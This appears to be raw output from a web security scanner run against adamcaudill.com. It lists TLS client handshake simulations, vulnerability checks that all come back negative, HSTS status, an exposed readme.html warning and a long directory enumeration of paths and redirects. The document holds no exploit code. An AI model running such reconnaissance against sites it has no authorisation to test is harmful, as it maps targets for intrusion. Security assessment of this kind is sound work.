[I] Android 4.3 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] Android 4.4.2 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Android 5.0.0 - TLS 1.2 - OLD_TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
[I] Android 6.0 - TLS 1.2 - OLD_TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
[I] Baidu Jan 2015 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] BingPreview Jan 2015 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Chrome 51 / Win 7 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Firefox 31.3.0 ESR / Win 7 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Firefox 46 / Win 7 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Firefox 47 / Win 7 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Googlebot Feb 2015 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[E] IE 6 / XP - Simulation Failed
[I] IE 7 / Vista - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[E] IE 8 / XP - Simulation Failed
[I] IE 8-10 / Win 7 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] IE 11 / Win 7 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] IE 11 / Win 8.1 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] IE 10 / Win Phone 8.0 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] IE 11 / Win Phone 8.1 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] IE 11 / Win Phone 8.1 Update - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] IE 11 / Win 10 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Edge 13 / Win 10 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Edge 13 / Win Phone 10 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[E] Java 6u45 - Simulation Failed
[I] Java 7u25 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] Java 8u31 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[E] OpenSSL 0.9.8y - Simulation Failed
[I] OpenSSL 1.0.1l - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] OpenSSL 1.0.2e - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Safari 5.1.9 / OS X 10.6.8 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] Safari 6 / iOS 6.0.1 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
[I] Safari 6.0.4 / OS X 10.8.4 - TLS 1.0 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
[I] Safari 7 / iOS 7.1 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
[I] Safari 7 / OS X 10.9 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
[I] Safari 8 / iOS 8.4 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
[I] Safari 8 / OS X 10.10 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
[I] Safari 9 / iOS 9 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Safari 9 / OS X 10.11 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Apple ATS 9 / iOS 9 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] Yahoo Slurp Jan 2015 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[I] YandexBot Jan 2015 - TLS 1.2 - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256

Protocol & Vulnerability Information:
[I] DROWN: No
[I] Secure Renegotiation: secure renegotiation supported
[I] POODLE (SSL): No
[I] POODLE (TLS): No
[I] Downgrade Prevention: Yes
[I] Compression: No
[I] Heartbleed: No
[I] OpenSSL CCS (CVE-2014-0224): No
[I] OpenSSL Padding Oracle (CVE-2016-2107): No
[I] Forward Secrecy: Yes (all simulated clients)
[I] OCSP Stapling: Yes
[I] FREAK: No
[I] Logjam: No
[I] DH public server param (Ys) reuse: No
[W] Protocol Intolerance: TLS 1.3

TLS Session Request Limit: Checking number of requests accepted using 3DES suites...
.....
[I] TLS Session Request Limit: Connection terminated after 100 requests (TLS Reconnected)

[I] HSTS: Enabled (strict-transport-security: max-age=15552000; preload)

[W] '/readme.html' found: https://adamcaudill.com/readme.html

Searching for common directories...
[I] Found Redirect: 'https://adamcaudill.com/0/ -> 'https://adamcaudill.com/'
[I] Found Redirect: 'https://adamcaudill.com/1/ -> 'https://adamcaudill.com/2013/04/16/1password-pbkdf2-and-implementation-flaws/'
[I] Found Redirect: 'https://adamcaudill.com/2/ -> 'https://adamcaudill.com/2015/01/01/2014-a-year-in-review/'
[I] Found Redirect: 'https://adamcaudill.com/20/ -> 'https://adamcaudill.com/2015/01/01/2014-a-year-in-review/'
[I] Found: 'https://adamcaudill.com/2003/'
[I] Found: 'https://adamcaudill.com/2004/'
[I] Found: 'https://adamcaudill.com/2005/'
[I] Found: 'https://adamcaudill.com/2006/'
[I] Found: 'https://adamcaudill.com/2007/'
[I] Found: 'https://adamcaudill.com/2008/'
[I] Found: 'https://adamcaudill.com/2009/'
[I] Found: 'https://adamcaudill.com/2010/'
[I] Found: 'https://adamcaudill.com/2011/'
[I] Found: 'https://adamcaudill.com/2013/'
[I] Found: 'https://adamcaudill.com/2014/'
[I] Found: 'https://adamcaudill.com/2015/'
[I] Found: 'https://adamcaudill.com/2016/'
[I] Found Redirect: 'https://adamcaudill.com/A/ -> 'https://adamcaudill.com/2014/10/17/a-backdoor-by-any-other-name/'
[I] Found: 'https://adamcaudill.com/About/'
[I] Found Redirect: 'https://adamcaudill.com/Archive/ -> 'https://adamcaudill.com/archives/'
[I] Found Redirect: 'https://adamcaudill.com/B/ -> 'https://adamcaudill.com/2005/09/22/back-from-new-york/'
[I] Found: 'https://adamcaudill.com/Blog/'
[I] Found Redirect: 'https://adamcaudill.com/C/ -> 'https://adamcaudill.com/2009/10/03/cancel-godaddys-domain-privacy/'
[I] Found Redirect: 'https://adamcaudill.com/D/ -> 'https://adamcaudill.com/2006/06/02/data-theft-its-happened-again/'
[I] Found Redirect: 'https://adamcaudill.com/E/ -> 'https://adamcaudill.com/2006/03/17/end-on-an-era/'
[I] Found Redirect: 'https://adamcaudill.com/F/ -> 'https://adamcaudill.com/2011/05/14/facebook-scams/'
[I] Found Redirect: 'https://adamcaudill.com/G/ -> 'https://adamcaudill.com/2003/11/26/get-cpu-speed/'
[I] Found Redirect: 'https://adamcaudill.com/H/ -> 'https://adamcaudill.com/2011/05/21/happy-20th-birthday-visual-basic/'
[I] Found Redirect: 'https://adamcaudill.com/Home/ -> 'https://adamcaudill.com/'
[I] Found Redirect: 'https://adamcaudill.com/I/ -> 'https://adamcaudill.com/2007/02/10/i-love-my-job/'
[I] Found Redirect: 'https://adamcaudill.com/Internet/ -> 'https://adamcaudill.com/2006/05/27/internet-explorer-7/'
[I] Found Redirect: 'https://adamcaudill.com/J/ -> 'https://adamcaudill.com/2014/07/23/jumping-through-hoops-dot-dot-dot/'
[I] Found Redirect: 'https://adamcaudill.com/L/ -> 'https://adamcaudill.com/lasers/'
[I] Found Redirect: 'https://adamcaudill.com/M/ -> 'https://adamcaudill.com/2006/09/23/make-xp-pretty/'
[I] Found Redirect: 'https://adamcaudill.com/N/ -> 'https://adamcaudill.com/2011/02/11/need-a-cheap-phone-charger-quick-buy-a-tracfone/'
[I] Found Redirect: 'https://adamcaudill.com/O/ -> 'https://adamcaudill.com/2006/06/17/of-victory-and-pair-programming/'
[I] Found Redirect: 'https://adamcaudill.com/P/ -> 'https://adamcaudill.com/2003/10/31/pagesource/'
[I] Found Redirect: 'https://adamcaudill.com/PHP/ -> 'https://adamcaudill.com/2005/03/01/phpbb-2-0-13-released-dumbss-coders-strike-again/'
[I] Found Redirect: 'https://adamcaudill.com/Pages/ -> 'https://adamcaudill.com/2003/10/31/pagesource/'
[I] Found Redirect: 'https://adamcaudill.com/R/ -> 'https://adamcaudill.com/2011/01/28/rails-3-dreamhost-ps/'
[I] Found Redirect: 'https://adamcaudill.com/S/ -> 'https://adamcaudill.com/2016/05/22/seamless-phishing/'
[I] Found Redirect: 'https://adamcaudill.com/Security/ -> 'https://adamcaudill.com/2014/03/23/security-by-buzzword-why-i-dont-support-ensafer/'
[I] Found Redirect: 'https://adamcaudill.com/T/ -> 'https://adamcaudill.com/2007/01/21/task-management-with-tasks/'
[I] Found Redirect: 'https://adamcaudill.com/U/ -> 'https://adamcaudill.com/2007/03/22/under-the-weather/'
[I] Found Redirect: 'https://adamcaudill.com/US/ -> 'https://adamcaudill.com/2006/07/08/useful-notepad-tip/'
[I] Found Redirect: 'https://adamcaudill.com/V/ -> 'https://adamcaudill.com/2006/05/10/valleyschwag/'
[I] Found Redirect: 'https://adamcaudill.com/W/ -> 'https://adamcaudill.com/2006/11/28/want-a-free-copy-of-vista/'
[I] Found Redirect: 'https://adamcaudill.com/Windows/ -> 'https://adamcaudill.com/2007/03/01/windows-vista-user-experience-guidelines/'
[I] Found Redirect: 'https://adamcaudill.com/X/ -> 'https://adamcaudill.com/2007/01/25/xceed-datagrid-for-wpf-released-free/'
[I] Found Redirect: 'https://adamcaudill.com/XML/ -> 'https://adamcaudill.com/2006/09/03/xml-notepad-2006/'
[I] Found Redirect: 'https://adamcaudill.com/a/ -> 'https://adamcaudill.com/2014/10/17/a-backdoor-by-any-other-name/'
[I] Found: 'https://adamcaudill.com/about/'
[I] Found Redirect: 'https://adamcaudill.com/ad/ -> 'https://adamcaudill.com/2006/03/29/advanced-net-programming/'
[I] Found Redirect: 'https://adamcaudill.com/adv/ -> 'https://adamcaudill.com/2006/03/29/advanced-net-programming/'
[I] Found Redirect: 'https://adamcaudill.com/advanced/ -> 'https://adamcaudill.com/2006/03/29/advanced-net-programming/'
[I] Found Redirect: 'https://adamcaudill.com/ap/ -> 'https://adamcaudill.com/2003/11/17/apisettings/'
[I] Found Redirect: 'https://adamcaudill.com/api/ -> 'https://adamcaudill.com/2003/11/17/apisettings/'
[I] Found Redirect: 'https://adamcaudill.com/ar/ -> 'https://adamcaudill.com/archives/'
[I] Found Redirect: 'https://adamcaudill.com/archive/ -> 'https://adamcaudill.com/archives/'
[I] Found: 'https://adamcaudill.com/archives/'
[I] Found Redirect: 'https://adamcaudill.com/asp/ -> 'https://adamcaudill.com/2007/01/25/aspnet-ajax/'
[I] Found Redirect: 'https://adamcaudill.com/atom/ -> 'https://adamcaudill.com/feed/atom/'
[I] Found Redirect: 'https://adamcaudill.com/avatars/ -> 'https://adamcaudill.com/2009/06/19/avatars-why-roll-your-own/'
[I] Found Redirect: 'https://adamcaudill.com/b/ -> 'https://adamcaudill.com/2005/09/22/back-from-new-york/'
[I] Found Redirect: 'https://adamcaudill.com/back/ -> 'https://adamcaudill.com/2005/09/22/back-from-new-york/'
[I] Found Redirect: 'https://adamcaudill.com/backup/ -> 'https://adamcaudill.com/2007/08/27/backups-with-jungledrive/'
[I] Found Redirect: 'https://adamcaudill.com/backups/ -> 'https://adamcaudill.com/2007/08/27/backups-with-jungledrive/'
[I] Found Redirect: 'https://adamcaudill.com/bb/ -> 'https://adamcaudill.com/2011/05/21/bbpress-20-beta-1-released/'
[I] Found Redirect: 'https://adamcaudill.com/bl/ -> 'https://adamcaudill.com/blog/'
[I] Found: 'https://adamcaudill.com/blog/'
[I] Found Redirect: 'https://adamcaudill.com/blue/ -> 'https://adamcaudill.com/2006/06/04/blue-hole-waterfall/'
[I] Found Redirect: 'https://adamcaudill.com/build/ -> 'https://adamcaudill.com/2007/01/04/building-a-windows-powertoy/'
[I] Found Redirect: 'https://adamcaudill.com/buy/ -> 'https://adamcaudill.com/2006/12/19/buying-a-car/'
[I] Found Redirect: 'https://adamcaudill.com/c/ -> 'https://adamcaudill.com/2009/10/03/cancel-godaddys-domain-privacy/'
[I] Found Redirect: 'https://adamcaudill.com/ca/ -> 'https://adamcaudill.com/2009/10/03/cancel-godaddys-domain-privacy/'
[I] Found Redirect: 'https://adamcaudill.com/can/ -> 'https://adamcaudill.com/2009/10/03/cancel-godaddys-domain-privacy/'
[I] Found Redirect: 'https://adamcaudill.com/cc/ -> 'https://adamcaudill.com/ccsrch/'
[I] Found Redirect: 'https://adamcaudill.com/ccs/ -> 'https://adamcaudill.com/ccsrch/'
[I] Found Redirect: 'https://adamcaudill.com/cgi-bin// -> 'https://adamcaudill.com/cgi-bin/'
[I] Found Redirect: 'https://adamcaudill.com/ch/ -> 'https://adamcaudill.com/2010/08/06/christopher-adam-caudill-6lbs-7oz-born-822010/'
[I] Found Redirect: 'https://adamcaudill.com/com/ -> 'https://adamcaudill.com/2006/03/11/common-sense-email/'
[I] Found Redirect: 'https://adamcaudill.com/common/ -> 'https://adamcaudill.com/2006/03/11/common-sense-email/'
[I] Found Redirect: 'https://adamcaudill.com/con/ -> 'https://adamcaudill.com/2003/11/11/conexant-formerly-rockwell-softmodem-hsf-modem/'
[I] Found Redirect: 'https://adamcaudill.com/contact/ -> '/pgp/'
[I] Found Redirect: 'https://adamcaudill.com/crypto/ -> 'https://adamcaudill.com/2016/03/12/crypto-crisis-fear-over-freedom/'
[I] Found Redirect: 'https://adamcaudill.com/d/ -> 'https://adamcaudill.com/2006/06/02/data-theft-its-happened-again/'
[I] Found Redirect: 'https://adamcaudill.com/dat/ -> 'https://adamcaudill.com/2006/06/02/data-theft-its-happened-again/'
[I] Found Redirect: 'https://adamcaudill.com/data/ -> 'https://adamcaudill.com/2006/06/02/data-theft-its-happened-again/'
[I] Found Redirect: 'https://adamcaudill.com/de/ -> 'https://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/'
[I] Found Redirect: 'https://adamcaudill.com/dec/ -> 'https://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/'
[I] Found Redirect: 'https://adamcaudill.com/detail/ -> 'https://adamcaudill.com/2006/09/03/detailed-css-changes-in-ie7/'
[I] Found Redirect: 'https://adamcaudill.com/dev/ -> 'https://adamcaudill.com/2016/08/17/developers-placing-trust-in-strangers/'
[I] Found Redirect: 'https://adamcaudill.com/devel/ -> 'https://adamcaudill.com/2016/08/17/developers-placing-trust-in-strangers/'
[I] Found Redirect: 'https://adamcaudill.com/develop/ -> 'https://adamcaudill.com/2016/08/17/developers-placing-trust-in-strangers/'
[I] Found Redirect: 'https://adamcaudill.com/developer/ -> 'https://adamcaudill.com/2016/08/17/developers-placing-trust-in-strangers/'
[I] Found Redirect: 'https://adamcaudill.com/developers/ -> 'https://adamcaudill.com/2016/08/17/developers-placing-trust-in-strangers/'
[I] Found Redirect: 'https://adamcaudill.com/development/ -> 'https://adamcaudill.com/2006/04/11/development-abstraction/'
[I] Found Redirect: 'https://adamcaudill.com/do/ -> 'https://adamcaudill.com/2013/07/04/do-one-thing-right/'
[I] Found Redirect: 'https://adamcaudill.com/e/ -> 'https://adamcaudill.com/2006/03/17/end-on-an-era/'
[I] Found Redirect: 'https://adamcaudill.com/en/ -> 'https://adamcaudill.com/2006/03/17/end-on-an-era/'
[I] Found Redirect: 'https://adamcaudill.com/error/ -> 'https://adamcaudill.com/2011/05/16/errors-on-gem-install-mysql2/'
[I] Found Redirect: 'https://adamcaudill.com/errors/ -> 'https://adamcaudill.com/2011/05/16/errors-on-gem-install-mysql2/'
[I] Found Redirect: 'https://adamcaudill.com/event/ -> 'https://adamcaudill.com/2006/09/24/eventargs-no-need-to-pass-a-new-instance/'
[I] Found Redirect: 'https://adamcaudill.com/f/ -> 'https://adamcaudill.com/2011/05/14/facebook-scams/'
[I] Found: 'https://adamcaudill.com/feed/'
[I] Found: 'https://adamcaudill.com/files/'
[I] Found Redirect: 'https://adamcaudill.com/firefox/ -> 'https://adamcaudill.com/2006/09/17/firefox-toys-errorzilla/'
[I] Found Redirect: 'https://adamcaudill.com/first/ -> 'https://adamcaudill.com/2013/03/26/first-do-no-harm-developers-and-bad-apis/'
[I] Found Redirect: 'https://adamcaudill.com/fr/ -> 'https://adamcaudill.com/2007/02/06/from-outlook-to-gmail-to-the-bat/'
[I] Found Redirect: 'https://adamcaudill.com/g/ -> 'https://adamcaudill.com/2003/11/26/get-cpu-speed/'
[I] Found Redirect: 'https://adamcaudill.com/get/ -> 'https://adamcaudill.com/2003/11/26/get-cpu-speed/'
[I] Found Redirect: 'https://adamcaudill.com/go/ -> 'https://adamcaudill.com/2011/01/12/google-chrome-and-h-264/'
[I] Found Redirect: 'https://adamcaudill.com/google/ -> 'https://adamcaudill.com/2011/01/12/google-chrome-and-h-264/'
[I] Found Redirect: 'https://adamcaudill.com/gp/ -> 'https://adamcaudill.com/2012/05/13/gpg4win-idea/'
[I] Found Redirect: 'https://adamcaudill.com/h/ -> 'https://adamcaudill.com/2011/05/21/happy-20th-birthday-visual-basic/'
[I] Found Redirect: 'https://adamcaudill.com/holiday/ -> 'https://adamcaudill.com/2006/12/23/holiday-schwag/'
[I] Found Redirect: 'https://adamcaudill.com/home/ -> 'https://adamcaudill.com/'
[I] Found Redirect: 'https://adamcaudill.com/host/ -> 'https://adamcaudill.com/2011/04/11/hosting-change/'
[I] Found Redirect: 'https://adamcaudill.com/hosting/ -> 'https://adamcaudill.com/2011/04/11/hosting-change/'
[I] Found Redirect: 'https://adamcaudill.com/how/ -> 'https://adamcaudill.com/2006/02/26/how-it-projects-really-work/'
[I] Found Redirect: 'https://adamcaudill.com/hp/ -> 'https://adamcaudill.com/2012/04/23/hp-folio-13/'
[I] Found Redirect: 'https://adamcaudill.com/i/ -> 'https://adamcaudill.com/2007/02/10/i-love-my-job/'
[I] Found Redirect: 'https://adamcaudill.com/ie/ -> 'https://adamcaudill.com/2007/01/10/ie-developer-toolbar/'
[I] Found Redirect: 'https://adamcaudill.com/in/ -> 'https://adamcaudill.com/2006/07/07/in-comes-the-schwag/'
[I] Found Redirect: 'https://adamcaudill.com/install/ -> 'https://adamcaudill.com/2006/11/18/installing-vista/'
[I] Found Redirect: 'https://adamcaudill.com/internet/ -> 'https://adamcaudill.com/2006/05/27/internet-explorer-7/'
[I] Found Redirect: 'https://adamcaudill.com/it/ -> 'https://adamcaudill.com/2006/02/26/its-official-ie7-is-cool/'
[I] Found Redirect: 'https://adamcaudill.com/j/ -> 'https://adamcaudill.com/2014/07/23/jumping-through-hoops-dot-dot-dot/'
[I] Found Redirect: 'https://adamcaudill.com/jump/ -> 'https://adamcaudill.com/2014/07/23/jumping-through-hoops-dot-dot-dot/'
[I] Found Redirect: 'https://adamcaudill.com/k/ -> 'https://adamcaudill.com/2006/09/16/kill-capslock/'
[I] Found Redirect: 'https://adamcaudill.com/l/ -> 'https://adamcaudill.com/lasers/'
[I] Found Redirect: 'https://adamcaudill.com/link/ -> 'https://adamcaudill.com/2012/06/06/linkedin-a-little-common-sense/'
[I] Found Redirect: 'https://adamcaudill.com/m/ -> 'https://adamcaudill.com/2006/09/23/make-xp-pretty/'
[I] Found Redirect: 'https://adamcaudill.com/microsoft/ -> 'https://adamcaudill.com/2007/01/21/microsoft-mice-another-reason-to-love-them/'
[I] Found Redirect: 'https://adamcaudill.com/mini/ -> 'https://adamcaudill.com/2012/05/13/minipwner/'
[I] Found Redirect: 'https://adamcaudill.com/monitor/ -> 'https://adamcaudill.com/2012/06/10/monitor-iphone-http-s-traffic-with-fiddler/'
[I] Found Redirect: 'https://adamcaudill.com/my/ -> 'https://adamcaudill.com/2012/03/31/my-5-minutes-of-infamy/'
[I] Found Redirect: 'https://adamcaudill.com/n/ -> 'https://adamcaudill.com/2011/02/11/need-a-cheap-phone-charger-quick-buy-a-tracfone/'
[I] Found Redirect: 'https://adamcaudill.com/ne/ -> 'https://adamcaudill.com/2011/02/11/need-a-cheap-phone-charger-quick-buy-a-tracfone/'
[I] Found Redirect: 'https://adamcaudill.com/net/ -> 'https://adamcaudill.com/2006/11/08/net-framework-30-released/'
[I] Found Redirect: 'https://adamcaudill.com/new/ -> 'https://adamcaudill.com/2016/01/01/new-atheism-the-philosophy-of-atheism/'
[I] Found Redirect: 'https://adamcaudill.com/no/ -> 'https://adamcaudill.com/2006/10/05/not-not-a-good-idea/'
[I] Found Redirect: 'https://adamcaudill.com/o/ -> 'https://adamcaudill.com/2006/06/17/of-victory-and-pair-programming/'
[I] Found Redirect: 'https://adamcaudill.com/of/ -> 'https://adamcaudill.com/2006/06/17/of-victory-and-pair-programming/'
[I] Found Redirect: 'https://adamcaudill.com/on/ -> 'https://adamcaudill.com/2010/06/19/on-hiring/'
[I] Found Redirect: 'https://adamcaudill.com/open/ -> 'https://adamcaudill.com/2007/02/02/opendns/'
[I] Found Redirect: 'https://adamcaudill.com/p/ -> 'https://adamcaudill.com/2003/10/31/pagesource/'
[I] Found Redirect: 'https://adamcaudill.com/page/ -> 'https://adamcaudill.com/2003/10/31/pagesource/'
[I] Found Redirect: 'https://adamcaudill.com/page2/ -> 'https://adamcaudill.com/page/2/'
[I] Found Redirect: 'https://adamcaudill.com/pages/ -> 'https://adamcaudill.com/2003/10/31/pagesource/'
[I] Found Redirect: 'https://adamcaudill.com/pass/ -> 'https://adamcaudill.com/2013/05/07/password-hashing-no-silver-bullets/'
[I] Found Redirect: 'https://adamcaudill.com/passw/ -> 'https://adamcaudill.com/2013/05/07/password-hashing-no-silver-bullets/'
[I] Found Redirect: 'https://adamcaudill.com/passwor/ -> 'https://adamcaudill.com/2013/05/07/password-hashing-no-silver-bullets/'
[I] Found Redirect: 'https://adamcaudill.com/password/ -> 'https://adamcaudill.com/2013/05/07/password-hashing-no-silver-bullets/'
[I] Found: 'https://adamcaudill.com/pgp/'
[I] Found: 'https://adamcaudill.com/photo/'
[I] Found Redirect: 'https://adamcaudill.com/php/ -> 'https://adamcaudill.com/2005/03/01/phpbb-2-0-13-released-dumbss-coders-strike-again/'
[I] Found Redirect: 'https://adamcaudill.com/pl/ -> 'https://adamcaudill.com/2016/05/01/plsql-developer-http-to-command-execution/'
[I] Found Redirect: 'https://adamcaudill.com/pls/ -> 'https://adamcaudill.com/2016/05/01/plsql-developer-http-to-command-execution/'
[I] Found Redirect: 'https://adamcaudill.com/power/ -> 'https://adamcaudill.com/2006/11/15/power-users-rejoice/'
[I] Found Redirect: 'https://adamcaudill.com/pr/ -> 'https://adamcaudill.com/2008/12/21/programmers-are-expensive/'
[I] Found Redirect: 'https://adamcaudill.com/pro/ -> 'https://adamcaudill.com/2008/12/21/programmers-are-expensive/'
[I] Found Redirect: 'https://adamcaudill.com/prog/ -> 'https://adamcaudill.com/2008/12/21/programmers-are-expensive/'
[I] Found Redirect: 'https://adamcaudill.com/program/ -> 'https://adamcaudill.com/2008/12/21/programmers-are-expensive/'
[I] Found Redirect: 'https://adamcaudill.com/q/ -> 'https://adamcaudill.com/2012/04/05/quickpacket-hosting/'
[I] Found Redirect: 'https://adamcaudill.com/r/ -> 'https://adamcaudill.com/2011/01/28/rails-3-dreamhost-ps/'
[I] Found Redirect: 'https://adamcaudill.com/random/ -> 'https://adamcaudill.com/2005/02/28/random-user-agent-in-vb-net/'
[I] Found Redirect: 'https://adamcaudill.com/read/ -> 'https://adamcaudill.com/reading/'
[I] Found Redirect: 'https://adamcaudill.com/reg/ -> 'https://adamcaudill.com/2003/10/26/register-activex-typelibs/'
[I] Found Redirect: 'https://adamcaudill.com/register/ -> 'https://adamcaudill.com/2003/10/26/register-activex-typelibs/'
[I] Found Redirect: 'https://adamcaudill.com/religion/ -> 'https://adamcaudill.com/2015/01/12/religion-free-speech-freedom-from-offense/'
[I] Found: 'https://adamcaudill.com/resume/'
[I] Found Redirect: 'https://adamcaudill.com/rss/ -> 'https://adamcaudill.com/feed/'
[I] Found Redirect: 'https://adamcaudill.com/rss2/ -> 'https://adamcaudill.com/feed/'
[I] Found Redirect: 'https://adamcaudill.com/ru/ -> 'https://adamcaudill.com/2006/09/17/running-regedit-as-system/'
[I] Found Redirect: 'https://adamcaudill.com/run/ -> 'https://adamcaudill.com/2006/09/17/running-regedit-as-system/'
[I] Found Redirect: 'https://adamcaudill.com/s/ -> 'https://adamcaudill.com/2016/05/22/seamless-phishing/'
[I] Found Redirect: 'https://adamcaudill.com/se/ -> 'https://adamcaudill.com/2016/05/22/seamless-phishing/'
[I] Found Redirect: 'https://adamcaudill.com/secure/ -> 'https://adamcaudill.com/2010/02/01/secure-password-storage/'
[I] Found Redirect: 'https://adamcaudill.com/security/ -> 'https://adamcaudill.com/2014/03/23/security-by-buzzword-why-i-dont-support-ensafer/'
[I] Found Redirect: 'https://adamcaudill.com/server/ -> 'https://adamcaudill.com/2006/03/25/server-move/'
[I] Found Redirect: 'https://adamcaudill.com/set/ -> 'https://adamcaudill.com/2003/10/31/setfocusbycaption/'
[I] Found Redirect: 'https://adamcaudill.com/simple/ -> 'https://adamcaudill.com/2003/11/26/simple-ini-api/'
[I] Found Redirect: 'https://adamcaudill.com/site/ -> 'https://adamcaudill.com/2006/10/30/site-updates/'
[I] Found Redirect: 'https://adamcaudill.com/sp/ -> 'https://adamcaudill.com/2006/12/19/spam-gmail/'
[I] Found Redirect: 'https://adamcaudill.com/spam/ -> 'https://adamcaudill.com/2006/12/19/spam-gmail/'
[I] Found Redirect: 'https://adamcaudill.com/st/ -> 'https://adamcaudill.com/2009/07/18/start-up-tools-microsoft-bizspark/'
[I] Found Redirect: 'https://adamcaudill.com/star/ -> 'https://adamcaudill.com/2009/07/18/start-up-tools-microsoft-bizspark/'
[I] Found Redirect: 'https://adamcaudill.com/start/ -> 'https://adamcaudill.com/2009/07/18/start-up-tools-microsoft-bizspark/'
[I] Found Redirect: 'https://adamcaudill.com/stat/ -> 'https://adamcaudill.com/2010/07/30/state-of-the-virus-art/'
[I] Found Redirect: 'https://adamcaudill.com/state/ -> 'https://adamcaudill.com/2010/07/30/state-of-the-virus-art/'
[I] Found Redirect: 'https://adamcaudill.com/super/ -> 'https://adamcaudill.com/2006/04/07/superstars-monkeys/'
[I] Found Redirect: 'https://adamcaudill.com/sw/ -> 'https://adamcaudill.com/2009/06/13/switching-hosts-again/'
[I] Found Redirect: 'https://adamcaudill.com/t/ -> 'https://adamcaudill.com/2007/01/21/task-management-with-tasks/'
[I] Found Redirect: 'https://adamcaudill.com/task/ -> 'https://adamcaudill.com/2007/01/21/task-management-with-tasks/'
[I] Found Redirect: 'https://adamcaudill.com/technology/ -> '/'
[I] Found Redirect: 'https://adamcaudill.com/tool/ -> 'https://adamcaudill.com/tools/'
[I] Found: 'https://adamcaudill.com/tools/'
[I] Found Redirect: 'https://adamcaudill.com/u/ -> 'https://adamcaudill.com/2007/03/22/under-the-weather/'
[I] Found Redirect: 'https://adamcaudill.com/up/ -> 'https://adamcaudill.com/2012/10/07/upek-windows-password-decryption/'
[I] Found Redirect: 'https://adamcaudill.com/us/ -> 'https://adamcaudill.com/2006/07/08/useful-notepad-tip/'
[I] Found Redirect: 'https://adamcaudill.com/v/ -> 'https://adamcaudill.com/2006/05/10/valleyschwag/'
[I] Found Redirect: 'https://adamcaudill.com/var/ -> 'https://adamcaudill.com/2005/09/26/varticles/'
[I] Found Redirect: 'https://adamcaudill.com/vb/ -> 'https://adamcaudill.com/2006/04/02/vb-the-dumbing-of-a-great-language/'
[I] Found Redirect: 'https://adamcaudill.com/vi/ -> 'https://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/'
[I] Found Redirect: 'https://adamcaudill.com/vista/ -> 'https://adamcaudill.com/2006/11/16/vista-available-via-msdn/'
[I] Found Redirect: 'https://adamcaudill.com/w/ -> 'https://adamcaudill.com/2006/11/28/want-a-free-copy-of-vista/'
[I] Found Redirect: 'https://adamcaudill.com/web/ -> 'https://adamcaudill.com/2006/05/17/web-developer-toolbar-menu-for-opera/'
[I] Found Redirect: 'https://adamcaudill.com/what/ -> 'https://adamcaudill.com/2006/04/24/what-a-surprise/'
[I] Found Redirect: 'https://adamcaudill.com/why/ -> 'https://adamcaudill.com/2011/10/15/why-cringely-is-wrong-about-java/'
[I] Found Redirect: 'https://adamcaudill.com/wiki/ -> 'https://adamcaudill.com/2010/12/01/wikileaks-biggest-problem-julian-assange/'
[I] Found Redirect: 'https://adamcaudill.com/win/ -> 'https://adamcaudill.com/2007/03/01/windows-vista-user-experience-guidelines/'
[I] Found Redirect: 'https://adamcaudill.com/windows/ -> 'https://adamcaudill.com/2007/03/01/windows-vista-user-experience-guidelines/'
[I] Found Redirect: 'https://adamcaudill.com/wink/ -> 'https://adamcaudill.com/2006/04/15/wink-20/'
[I] Found Redirect: 'https://adamcaudill.com/word/ -> 'https://adamcaudill.com/2006/07/30/wordpress-204/'
[I] Found Redirect: 'https://adamcaudill.com/wordpress/ -> 'https://adamcaudill.com/2006/07/30/wordpress-204/'
